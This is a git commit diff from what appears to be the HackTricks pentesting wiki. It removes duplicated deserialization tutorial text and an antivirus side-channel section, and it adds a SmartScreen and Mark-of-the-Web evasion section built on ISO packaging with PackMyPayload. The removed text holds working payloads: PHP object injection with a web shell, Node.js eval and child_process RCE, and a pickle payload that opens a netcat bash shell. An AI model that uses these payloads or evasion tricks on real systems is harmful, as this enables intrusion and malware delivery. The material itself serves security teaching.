Drop unwanted changes in deserialization/README.md and av-bypass.md

This commit is contained in:
carlospolop 2025-09-03 12:59:34 +02:00
parent 85fa2a0dee
commit 3db7d5f74f
2 changed files with 45 additions and 504 deletions

View File

@ -178,211 +178,6 @@ As soon as the admin viewed the entry, the object was instantiated and `SomeClas
---
# Deserialization
## Basic Information
**Serialization** is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state.
**Deserialization**, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object.
Deserialization can be dangerous because it potentially **allows attackers to manipulate the serialized data to execute harmful code** or cause unexpected behavior in the application during the object reconstruction process.
## PHP
In PHP, specific magic methods are utilized during the serialization and deserialization processes:
- `__sleep`: Invoked when an object is being serialized. This method should return an array of the names of all properties of the object that should be serialized. It's commonly used to commit pending data or perform similar cleanup tasks.
- `__wakeup`: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.
- `__unserialize`: This method is called instead of `__wakeup` (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to `__wakeup`.
- `__destruct`: This method is called when an object is about to be destroyed or when the script ends. It's typically used for cleanup tasks, like closing file handles or database connections.
- `__toString`: This method allows an object to be treated as a string. It can be used for reading a file or other tasks based on the function calls within it, effectively providing a textual representation of the object.
```php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
$unser=unserialize($ser);
$unser->displaystring();
```
If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**.
> [!WARNING]
> The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.
>
> ```php
> class MyClass {
> private $property;
>
> public function __unserialize(array $data): void {
> $this->property = $data['property'];
> // Perform any necessary tasks upon deserialization.
> }
> }
> ```
You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Classes
You could abuse the PHP autoload functionality to load arbitrary php files and more:
{{#ref}}
php-deserialization-+-autoload-classes.md
{{#endref}}
### Serializing Referenced Values
If for some reason you want to serialize a value as a **reference to another value serialized** you can:
```php
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
### Preventing PHP Object Injection with `allowed_classes`
> [!INFO]
> Support for the **second argument** of `unserialize()` (the `$options` array) was added in **PHP 7.0**. On older versions the function only accepts the serialized string, making it impossible to restrict which classes may be instantiated.
`unserialize()` will **instantiate every class** it finds inside the serialized stream unless told otherwise. Since PHP 7 the behaviour can be restricted with the [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) option:
```php
// NEVER DO THIS full object instantiation
$object = unserialize($userControlledData);
// SAFER disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
```
If **`allowed_classes` is omitted _or_ the code runs on PHP < 7.0**, the call becomes **dangerous** as an attacker can craft a payload that abuses magic methods such as `__wakeup()` or `__destruct()` to achieve Remote Code Execution (RCE).
#### Real-world example: Everest Forms (WordPress) CVE-2025-52709
The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions:
```php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
```
On servers that still ran **PHP ≤ 7.0** this second branch led to a classic **PHP Object Injection** when an administrator opened a malicious form submission. A minimal exploit payload could look like:
```
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
```
As soon as the admin viewed the entry, the object was instantiated and `SomeClass::__destruct()` got executed, resulting in arbitrary code execution.
**Take-aways**
1. Always pass `['allowed_classes' => false]` (or a strict white-list) when calling `unserialize()`.
2. Audit defensive wrappers they often forget about the legacy PHP branches.
3. Upgrading to **PHP ≥ 7.x** alone is *not* sufficient: the option still needs to be supplied explicitly.
---
### WordPress behaviours: maybe_unserialize() and object smuggling
WordPress automatically attempts to unserialize any string that “looks serialized” via `maybe_unserialize()`:
```php
function maybe_unserialize($original) {
if (is_serialized($original))
return @unserialize($original);
return $original;
}
```
Two practical exploitation patterns from large plugin ecosystems:
- Serialize-then-replace: mutating serialized blobs using string ops (e.g., `str_replace()`) desynchronizes type/length pairs and allows smuggling of unexpected objects.
```php
// 1) craft payload
$user = 'orange';
$pass = ';s:8:"password";O:4:"Evil":0:{}s:8:"realname";s:5:"pwned';
$name = 'Orange Tsai' . str_repeat('..', 25);
$obj = new User($user, $pass, $name);
$data = serialize($obj);
// 2) developer mutates serialized blob
$data = str_replace("..", "", $data);
// 3) length corruption → 'password' becomes Evil object on unserialize
print_r(unserialize($data));
```
- Double-prepare SQLi side-effect: calling `$wpdb->prepare()` twice lets format tokens be reinterpreted (restores SQLi). WordPress mitigates by hiding `%` with placeholders that are later restored; if such placeholders travel inside serialized blobs, restoring them can corrupt lengths and lead to unexpected `unserialize()` with POP gadgets (PHPGGC).
```php
$value = "%1$%s OR 1=1--#";
$clause = $wpdb->prepare(" AND value = %s", $value);
$query = $wpdb->prepare("SELECT col FROM table WHERE key = %s $clause", $key);
```
### Bypassing `__wakeup()` guards
- Engine quirk: PHP Bug [#72663](https://bugs.php.net/bug.php?id=72663) shows edge cases where `__wakeup()` can be skipped, breaking defenses that moved checks there.
- Reference-based tricks: gadget chains that set dangerous properties by reference so that a defensive `__wakeup()` that nulls properties does not neutralize the actual data used later in `__destruct()`.
### "Holy Grail" deserialization: memory-level primitives
Research progressed from early zval forgery to PHP 7 heap primitives and real UAFs (e.g., Bug [#68942](https://bugs.php.net/bug.php?id=68942)), demonstrating that the core should not be treated as a security boundary: once a serialization bug crosses into memory corruption, object injection can be escalated to RCE without application gadgets.
### PHPGGC (ysoserial for PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\
@ -477,292 +272,6 @@ test_then()
If you want to learn about this technique **take a look to the following tutorial**:
{{#ref}}
nodejs-proto-prototype-pollution/
{{#endref}}
### [node-serialize](https://www.npmjs.com/package/node-serialize)
This library allows to serialise functions. Example:
```javascript
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
```
The **serialised object** will looks like:
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object.
Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
![](<../../images/image (351).png>)
![](<../../images/image (446).png>)
As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**.
However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\
Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\
In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code:
```javascript
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
```
As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example:
```javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
```
You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.
### [funcster](https://www.npmjs.com/package/funcster)
A noteworthy aspect of **funcster** is the inaccessibility of **standard built-in objects**; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as `"ReferenceError: console is not defined"` when commands like `console.log()` or `require(something)` are used.
Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet:
```javascript
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
```
**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
The **serialize-javascript** package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of `eval` is suggested by the official example for deserializing serialized data:
```javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
```
If this function is used to deserialize objects you can **easily exploit it**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```
**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Cryo library
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
## Java - HTTP
In Java, **deserialization callbacks are executed during the process of deserialization**. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.
### Fingerprints
#### White Box
To identify potential serialization vulnerabilities in the codebase search for:
- Classes that implement the `Serializable` interface.
- Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions.
Pay extra attention to:
- `XMLDecoder` utilized with parameters defined by external users.
- `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.
- `ObjectInputStream` coupled with the `readObject` method.
- Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`.
- `ObjectInputStream.readUnshared`.
- General use of `Serializable`.
#### Black Box
For black box testing, look for specific **signatures or "Magic Bytes"** that denote java serialized objects (originating from `ObjectInputStream`):
- Hexadecimal pattern: `AC ED 00 05`.
- Base64 pattern: `rO0`.
- HTTP response headers with `Content-type` set to `application/x-java-serialized-object`.
- Hexadecimal pattern indicating prior compression: `1F 8B 08 00`.
- Base64 pattern indicating prior compression: `H4sIA`.
- Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### Check if vulnerable
If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
#### White Box Test
You can check if there is installed any application with known vulnerabilities.
```bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\
When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**.
#### Black Box Test
Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\
[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe is focused on **`ObjectInputStream` deserializations**.
Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations.
You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serialization Test**
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\
If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks.
### **Exploit**
#### **ysoserial**
The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\
Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\
I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
```
### **Pickle**
When the object gets unpickle, the function \_\_\_reduce\_\_\_ will be executed.\
When exploited, server could return an error.
```python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```
Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3.
For more information about escaping from **pickle jails** check:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
### Yaml **&** jsonpickle
The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**:
{{#ref}}
python-yaml-deserialization.md
{{#endref}}
### Class Pollution (Python Prototype Pollution)
{{#ref}}
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
{{#endref}}
## NodeJS
### JS Magic Functions
JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\
If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.
Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
```
### `__proto__` and `prototype` pollution
If you want to learn about this technique **take a look to the following tutorial**:
{{#ref}}
nodejs-proto-prototype-pollution/
{{#endref}}
@ -1223,7 +732,6 @@ The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
## .Net
@ -1640,3 +1148,4 @@ Industrialized gadget discovery:
- Trail of Bits Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
{{#include ../../banners/hacktricks-training.md}}

View File

@ -356,23 +356,56 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them
## AVOracle Defender emulation sidechannel (exfiltration)
## SmartScreen & MoTW
Windows Defender will emulate files that “look like JavaScript.” If the emulated evaluation produces the EICAR signature string, the file is deleted/quarantined. By crafting mixed content where attacker-controlled JS reads unknown content and conditionally appends to the EICAR string, the deletion becomes a 1bit oracle that leaks secrets.
You may have seen this screen when downloading some executables from the internet and executing them.
Minimal PoC concept:
Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
```js
// sample.txt treated as JS by Defenders emulator
var mal = "EICAR-STANDARD-ANTIVIRUS-TEST-FILE";
// Append '!' only if the first byte of secret matches expectation
var c = document.body.innerHTML[0] == 'A' ? '!' : '';
eval(mal + c);
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).
**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Checking the Zone.Identifier ADS for a file downloaded from the internet.</p></figcaption></figure>
> [!TIP]
> It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**.
A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.
Example usage:
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
If the condition is true, the emulator sees the full EICAR string and deletes/quarantines the file → signal = 1. Otherwise the file survives → signal = 0. Repeating with different predicates reconstructs the secret data (HTML variant shown above; similar tricks apply to JS on disk).
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Impact: exfiltration of otherwise unreadable secrets via AV behavior. This is a detection evasion concern too (security tooling affecting integrity). See reference for full details and variations.
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## ETW
@ -872,6 +905,5 @@ References for PPL and tooling
- [Sysinternals Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)
- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
- [Zero Salarium Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../banners/hacktricks-training.md}}